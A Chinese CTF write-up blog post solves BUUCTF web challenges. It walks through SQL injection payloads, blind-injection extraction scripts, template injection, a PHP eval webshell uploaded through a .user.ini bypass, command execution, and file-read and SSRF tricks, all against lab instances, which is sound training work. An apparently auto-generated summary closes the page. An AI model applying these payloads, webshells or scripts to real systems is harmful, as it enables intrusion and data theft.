BUUCTF刷题记录

web:

[强网杯 2019]随便注

注意表的两端两边要加:``
1' ; show databases;#查看数据库
在这里插入图片描述

1' ;show tables;#查看表
在这里插入图片描述
0'; show columns from words ;#查看words表中字段
在这里插入图片描述
0';show columns from 1919810931114514;#
在这里插入图片描述
发现flag,然后看了师傅的文章发现:

  1. 将words表改名为word1或其它任意名字

  2. 1919810931114514改名为words

  3. 将新的word表插入一列,列名为id

  4. 将flag列改名为data

1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

在这里插入图片描述
最后1’ or 1=1 #得到flag
在这里插入图片描述
看了另一篇文章发现还可以用handler代替select查询
1'; handler 1919810931114514 open as y1ng; handler y1ng read first; handler y1ng close;#
在这里插入图片描述

[护网杯 2018]easy_tornado

render是模板注入,由于不了解,看wp
在这里插入图片描述
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

error?msg={{1*2}}
在这里插入图片描述
获取cookie_secret:error?msg={{handler.settings}}
在这里插入图片描述
根据获得的cookie_secret构造md5(cookie_secret+md5(filename)),python脚本如下:

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="2ad0f0aa-09ba-4658-b836-3f024bcb6702"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

运行得到cdc288af8c27adc5ceea4581b0b94d46
在这里插入图片描述
file?filename=/fllllllllllllag&filehash=cdc288af8c27adc5ceea4581b0b94d46得到flag
在这里插入图片描述

[SUCTF 2019]EasySQL

不会。。。查看wp的时候得到了源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

预期:1;set sql_mode=pipes_as_concat;select 1
pipes_as_concat:将“||”视为字符串的连接操作符而非或运算符,将前一个字段的查询结果和后一个字段查询结果进行拼接
在这里插入图片描述
非预期:*,1
*号为查询所有数据
在这里插入图片描述

[HCTF 2018]admin

直接给链接看了,师傅tql:HCTF2018-admin
不知道是否可以爆破(没试)。。。。账号:admin,密码:123即可登录得到flag
在这里插入图片描述
下面这种情况字符串无论进行多少次lower()都会得到一个结果,因此lower()方法具有幂等性
在这里插入图片描述
注册一个ᴬᴰmin账号,传入的数据会进行一次转化,这时ᴬᴰmin–>ADmin,服务器端会判断该用户是否存在,然后成功注册
在这里插入图片描述
账号成功登录,并且变为ADmin
在这里插入图片描述
然后再更改密码,用admin和自己更改的密码登录,得到flag
在这里插入图片描述

[RoarCTF 2019]Easy Calc

假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

在calc.php得到源码
在这里插入图片描述
? num可绕过waf检测,并执行了php语句
在这里插入图片描述
接下来要查看目录文件
在这里插入图片描述
构造? num=1;var_dump(scandir(chr(47)))char(47)是 / 的ascii码,也可以用hex2bin(dechex(47))
在这里插入图片描述
得到了f1agg,我们查看文件即可
在这里插入图片描述
构造 ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
在这里插入图片描述

可参考文章:利用PHP的字符串解析特性Bypass

[强网杯 2019]高明的黑客

先下载源码,然后看师傅的wp
在这里插入图片描述
下载源码,打开是几千个php文件,而且很乱,根本没法看,不过里面包含很多shell,那么我们就要找到有用的shell。
利用师傅脚本得到有用的shell即可,

强网杯upload&&高明的黑客&&随便注 复现

[SUCTF 2019]CheckIn

方法一:正常文件上传

上传php文件返回:非法后缀
在这里插入图片描述
上传.htaccess返回exif_imagetype:not image
在这里插入图片描述
上传xxx.jpg返回<? in contents!
在这里插入图片描述
接下来是我的上传误区!!!
把一句话改为如下进行上传,成功过滤<?
GIF89a
<script language="php">@eval($_POST['pass']);</script>
在这里插入图片描述
那么试着改文件类型将.htaccess上传
在这里插入图片描述
上传都成功了,试着访问发现:失败。查看wp发现:htaccess有局限性,只能是apache
这里有新的知识点:
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。在.user.ini写入代码如下,上传

GIF89a
auto_prepend_file=a.jpg

这里注意由于upload/文件夹下有index.php,会包含a.jpg,所以成功了
在这里插入图片描述
接下来蚁剑连接即可得到flag
在这里插入图片描述

方法二:直接执行命令查看flag

假若一句话木马被禁了,那么我们还可以命令执行得到flag
GIF89a
<script language="php">var_dump(scandir("/"));</script>
在这里插入图片描述
在根目录发现flag,将执行语句改为
<script language="php">var_dump(file_get_contents("/flag"));</script>

<script language="php">system("cat /flag");</script>
在这里插入图片描述
不好的地方就是要重复上传a.jpg可能会出现问题
参考:[SUCTF 2019]CheckIn

[极客大挑战 2019]EasySQL

送分???????构造万能密码登录,成功得到flag
admin' or 1=1#
在这里插入图片描述
在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述
sql注入的题目,有过滤,然后发现过滤了union、and、or、空格/**/,无从下手,查看了wp,发现空格其实还有很多解法的
空格可以用:%09 %0a %0b %0c %0d /**/ /*!*/或者直接tab
这里用模糊测试得出
在这里插入图片描述
在这里插入图片描述
mid,substr都没被过滤,考虑布尔盲注,用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。由于题目告诉我们表和字段都为flag,可直接爆破flag的值
参考师傅的二分法脚本如下:

import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://7558e160-ede8-4f30-a7da-6b5727376b56.node3.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'

i = 6
while True:
#从可打印字符开始
    begin = 32
    end = 126
    tmp = (begin+end)//2
    while begin<end:
        print(begin,tmp,end)
        time.sleep(1)
        data["id"] = "if(ascii(substr((select	flag	from	flag),{},1))>{},1,2)".format(i,tmp)
        r = requests.post(url,data=data)
        if 'Hello' in r.text:
            begin = tmp+1
            tmp = (begin+end)//2
        else:
            end = tmp
            tmp = (begin+end)//2

    flag+=chr(tmp)
    print(flag)
    i+=1
    if flag[-1]=='}':
        break

这里buuctf限制每秒访问次数,所以加上time.sleep(1)。等了几分钟得到flag了
在这里插入图片描述
这里可以看一下源码,看看到底过滤了哪些

<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
        if(stripos($sql,$blackitem)){
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
    $id = $_POST['id'];
}else{
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
        $result = mysql_fetch_array($query);
        
        if($result){
            echo $result['content'];
        }else{
            echo "Error Occured When Fetch Result.";
        }
    }else{
        var_dump($query);
    }
}else{
    die("SQL Injection Checked.");
}

[极客大挑战 2019]Havefun

查看源码得到了
在这里插入图片描述

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
          echo 'Syc{cat_cat_cat_cat}';
        }
        

Syc{cat_cat_cat_cat}提交发现不对,试着传?cat=dog,就得到了flag…送分题
在这里插入图片描述

[极客大挑战 2019]Secret File

进去发现查看源码得到信息
在这里插入图片描述
接着就是访问
在这里插入图片描述
点击发现
在这里插入图片描述
回复没看清么,那么抓包试试
在这里插入图片描述
访问得到一段源码,是文件包含,并且提示flag在flag.php里面
在这里插入图片描述
直接访问?file=flag.php发现不行,用?file=php://filter/read=convert.base64-encode/resource=flag.php访问得到base64编码的源码,解码即可
在这里插入图片描述
为什么我觉得蒋璐源是女生。。。。

[网鼎杯 2018]Fakebook

进入发现一个登陆,一个注册,然后试了试没有思路,看wp
在这里插入图片描述
发现有flag.php和robots.txt,访问robots.txt可以得到user.php.bak,查看得到代码

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注册之后可以看到注入点get
在这里插入图片描述

预期

在注册处首先抓包,然后用sqlmap跑
在这里插入图片描述
发现表中存储的是反序列化,接下来在get处注入,有waf所以用++
?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
在这里插入图片描述
?no=-1++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema='fakebook'-- +
在这里插入图片描述
?no=-1++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name='users'--+
在这里插入图片描述
最后将博客地址改成file:///var/www/html/flag.php来进行序列化。
?no=0++union++select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
在这里插入图片描述
查看源码得到了一串base64的链接
在这里插入图片描述
打开即可得到flag
在这里插入图片描述

非预期

由于题目没过滤load_file,可直接盲注,师傅脚本如下

import requests

url = 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url + payload)
        if 'http://c824219f-cb72-4deb-afd8-c12c4f7cacf1.node3.buuoj.cn/join.php' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

跑完花了10几分钟得到了flag
在这里插入图片描述
发现其实可以直接得flag的,传参:
?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1
查看源码得到了flag
在这里插入图片描述

参考:
网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件
刷题记录:[网鼎杯]Fakebook


先到这了,文章太长不好,去肝下一篇了

回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTF的Web真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值